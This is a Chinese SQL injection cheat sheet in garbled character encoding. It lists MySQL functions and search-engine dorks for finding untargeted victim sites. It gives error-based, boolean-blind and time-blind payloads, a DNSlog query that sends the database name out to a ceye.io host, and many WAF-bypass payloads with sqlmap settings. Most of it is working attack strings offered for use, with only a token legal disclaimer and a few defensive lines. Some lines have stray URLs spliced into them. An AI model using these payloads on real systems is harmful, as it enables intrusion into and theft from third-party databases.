sql注入常用函数
?當(dāng)所有情緒都堆在一起的時候,才發(fā)現(xiàn)自己已經(jīng)不是那個一塊糖就能開心的小孩子了。。。
----? 網(wǎng)易云熱評
一、MySql注入常用函數(shù)
1、system_user()系統(tǒng)用戶名
2、user()用戶名
3、current_user()當(dāng)前用戶名
4、session_user()鏈接數(shù)據(jù)庫的用戶名
5、database()數(shù)據(jù)庫名
6、version()數(shù)據(jù)庫版本
7、@@datadir數(shù)據(jù)庫路徑
8、@@basedir數(shù)據(jù)庫安裝路徑
9、@@version_conpile_os操作系統(tǒng)
10、count()返回執(zhí)行結(jié)果數(shù)量
11、concat()沒有分隔符的鏈接字符串
12、concat_ws()含有分隔符的連接字符串
13、group_concat()連接一個組的所有字符串,并以逗號分隔每一條數(shù)據(jù)
14、load_file()讀取本地文件
15、into outfile 寫文件
16、ascii()字符串的ASCII代碼值
17ord()返回字符串第一個字符的ASCII值
18mid()返回一個字符串的一部分
19substr()返回一個字符串的一部分
20、length()返回字符串的長度
21、left()返回字符串最左面幾個字符
22、floor()返回小于或等于x的最大整數(shù)
23、rand()返回0和1之間的一個隨機(jī)數(shù)
24、extractvalue()
第一個參數(shù):XML_docment是String格式,為XML文檔對象的名稱,文中為Doc
第二個參數(shù):XPath_string(Xpath格式的字符串)
作用:從目標(biāo)XML中返回包含所查詢值的字符串
25、updatexml()
第一個參數(shù):XML_docment是String格式,為XML文檔對象的名稱,文中為Doc
第二個參數(shù):Xpath_string(Xpath格式的字符串)
第三個參數(shù):new_value,String格式,替換查找到的符合條件的數(shù)據(jù)target.com
作用:改變文檔中符合條件的節(jié)點(diǎn)的值
26、sleep()讓此語句運(yùn)行N秒鐘
27、if() SELECT IF(1>2,2,3) ; -->3
28、char()返回整數(shù)ASCII代碼字符組成的字符串
29、strcmp()比較字符串內(nèi)容
30、ifnull() 假如參數(shù)1不為NULL,則返回值為參數(shù)1,否則其返回值為參數(shù)2
31exp()返回e的x次方
?
二、目標(biāo)搜集
1、無特定目標(biāo):inurl:.php?id=
2、有特定目標(biāo):inurl:php?id= site:
3、工具爬取:spider,對搜索引擎和目標(biāo)網(wǎng)站的鏈接進(jìn)行爬取
?
三、注入識別
1、手工簡單識別:
'
and 1=1/and 1=2
and '1'='1/and '1'='2
and 1like 1/and 1like 2
2、工具識別:
sqlmap -m filename(filename中保存檢測目標(biāo))
sqlmap --crawl(sqlmap對目標(biāo)網(wǎng)站進(jìn)行爬取,然后一次進(jìn)行測試)
3、高級識別
擴(kuò)展識別廣度和深度:
SqlMap --level 增加測試級別,對header中相關(guān)參數(shù)也進(jìn)行測試
sqlmap -r filename(filename中為網(wǎng)站請求數(shù)據(jù))
利用工具識別提高效率
BurpSuite+Sqlmap
BurpSuite攔截所有瀏覽器訪問提交的數(shù)據(jù)
BurpSuite擴(kuò)展插件,直接調(diào)用SqlMap進(jìn)行測試一些Tips
可以在參數(shù)后鍵入"*"來確定想要測試的參數(shù)
可能出現(xiàn)的點(diǎn):新聞、登錄、搜索、留言
站在開發(fā)的角度去尋找
?
四、報錯注入方法
1、floor() :select count(*) from information_schema.tables group by concat((select
2、version()),floor(rand(0)*2));https://github.com/ADOOO/Dnslogsqlinj
3、group by會對rand()函數(shù)進(jìn)行操作時產(chǎn)生錯誤
4、concat:連接字符串功能
5、floor:取float的整數(shù)值
6、rand:取0~1之間隨機(jī)浮點(diǎn)值
7、group by:根據(jù)一個或多個列對結(jié)果集進(jìn)行分組并有排序功能
8、extractvalue():extractvalue(1,concat(0x7e,(select user()),0x7e));
9、updatexml():select updatexml(1,concat(0x7e,(select user()),0x7e),1);
?
五、布爾盲注
1、left()函數(shù)
left(database(),1)>'s'
database()顯示數(shù)據(jù)庫名稱,le?(a,b)從左側(cè)截取a的前b位
2、regexp
select user() regexp'^r'
正則表達(dá)式的用法user()結(jié)果為root,regexp為匹配root的正則表達(dá)式
3、like
select user() like'^ro%'
與regexp類似,使用like進(jìn)行匹配
4、substr()函數(shù) ascii()函數(shù)
substr()函數(shù) ascii(substr((select database()),1,1))<>98
substr(a,b,c)從b位置開始,截取字符串a(chǎn)的c長度,ascii()將某個字符轉(zhuǎn)換為ascii值
5、ord()函數(shù) mid()函數(shù)
ord(mid((select user()),1,1))=114
mid(a,b,c)從位置b開始,截取a字符串的c位ord()函數(shù)同ascii(),將字符轉(zhuǎn)為ascii值
?
六、時間盲注
if(left(user(),1)='a',0,sleep(3));
?
七、DNSlog注入
SELECT LOAD_FILE(CONCAT('\\\\',select database(),'.mysql.r4ourp.ceye.io\\abc'));
?
八、寬字節(jié)注入
1、在注入點(diǎn)后鍵入%df,然后按照正常的諸如流程開始注入
2、黑盒測試:
在可能的注入點(diǎn)后鍵入%df,之后進(jìn)行注入測試
3、白盒測試:
查看MySql編碼是否為GBK
是否使用preg_replace把單引號替換成\'
是否使用addslashes進(jìn)行轉(zhuǎn)義
是否使用mysql_real_escape_string進(jìn)行轉(zhuǎn)義
4、防止寬字節(jié)注入
使用utf-8,避免寬字節(jié)注入
ps:不僅在gbk,韓文、日文等等都是寬字節(jié),都很有可能存在寬字節(jié)注入漏洞
mysql_real_escape_string,mysql_set_charset('gbk',$conn);
設(shè)置參數(shù),character_set_client=binary
?
九、二次編碼
1、在注入點(diǎn)后鍵入%2527,然后按照正常的注入流程開始注入
2、黑盒測試:
在可能的注入點(diǎn)后鍵入%2527,之后進(jìn)行注入測試
3、白盒測試
是否使用urldecode函數(shù)
urldecode函數(shù)是否存在轉(zhuǎn)義方法之后
?
十、二次注入
1、插入惡意數(shù)據(jù)
第一次進(jìn)行數(shù)據(jù)庫插入數(shù)據(jù)的時候,僅僅對其中的特殊字符進(jìn)行了轉(zhuǎn)義,再寫入數(shù)據(jù)庫的時候還是保留了原來的數(shù)據(jù),但是數(shù)據(jù)本身包含惡意內(nèi)容。
2、引用惡意數(shù)據(jù)
在將數(shù)據(jù)存入到數(shù)據(jù)庫之后,開發(fā)者就認(rèn)為數(shù)據(jù)是可信的。在下一次需要進(jìn)行查詢的時候,直接從數(shù)據(jù)庫中取出了而已數(shù)據(jù),沒有進(jìn)行進(jìn)一步的檢驗和處理,這樣就會造成SQL的二次注入。
3、二次注入防御:
對外部提交的數(shù)據(jù),需要更加謹(jǐn)慎的對待。
程序內(nèi)部的數(shù)據(jù)調(diào)用,也要嚴(yán)格的進(jìn)行檢查,一旦不小心,測試者就能將特定了SQL語句帶入到查詢當(dāng)中。
?
十一、WAF繞過
熟練掌握MySQL函數(shù)和語法使用方法+深入了解中間件運(yùn)行處理機(jī)制+了解WAF防護(hù)原理及方法=隨心所欲的繞過WAF的保護(hù)
1、白盒繞過
使用了blacklist函數(shù)過濾了'or'和'AND'
大小寫變形:Or,OR,oR
等價替換:and->&&,or->||
2、黑盒繞過
尋找源站->針對云WAF
利用同網(wǎng)段->繞過WAF防護(hù)區(qū)域
利用邊界漏洞->繞過WAF防護(hù)區(qū)域
資源限制角度繞過WAF
POST大BODY
請求方式變換GET->POST
Content-Type變換:application/x-www-form-urlencoded;->multipart/form-data;
參數(shù)污染
SQL注釋符繞過
Level-1:union/**/select
Level-2:union/*aaaa%01bbs*/select
Level-3:union/*aaaaaaaaaaaaaaaaaaaaaaa*/select
內(nèi)聯(lián)注釋:/*!xxx*/
空白符繞過
MySQL空白符:%09,%0A,%0B,%0D,%20,%0C,%A0,/*XXX*/
正則的空白符:%09,%0A,%0B,%0D,%20
Example-1:union%250Cselect
Example-2:union%25A0select
concat%2520(
concat/**/(
concat%250c(http://127.0.0.1/Less/?id=1
concat%25a0(
浮點(diǎn)數(shù)詞法解析
select * from users where id=8E0union select 1,2,3
select * from users where id=8.0union select 1,2,3
select * from users where id=\Nunion select 1,2,3
extractvalue(1.concat(0x5c,md5(3)));
updatexml(1,concat(0x5d,md5(3))),1);
GeometryCollection((select*from(select@@version)f)x))
polygon((select*from(select name_const(version(),1))x))
linestring()
multipoint()
multilinestring()
multipolygon()
MySQL特殊語法
select{x table_name}from{x information_schema.tables};
3、Fuzz繞過
注釋符繞過
最基本的:union/**/select
中間引入特殊字:union/*aaa%0abbs*/select
最后測試注釋長度:union/*aaaaaaaaaaaaaaa*/select
最基本的模式:union/*something*/select
a1%!%2f
?
十二、sqlmap的conf
sqlmap.py -v3(主函數(shù)入口)
--user-agent=websecurity(請求擴(kuò)充)
--threads=5(訪問優(yōu)化)
-p id注入配置
--level 3(檢測配置)
--technique=E(注入技術(shù))
--current-user(信息獲取)
--flush-session(通用設(shè)置)
--beep(雜項)幕布 - 極簡大綱筆記 | 一鍵生成思維導(dǎo)圖
?
?
禁止非法,后果自負(fù)
歡迎關(guān)注公眾號:web安全工具庫
?
總結(jié)
- 上一篇: 漫画:什么是区块链?
- 下一篇: 今天,给我妈打电话聊了我爸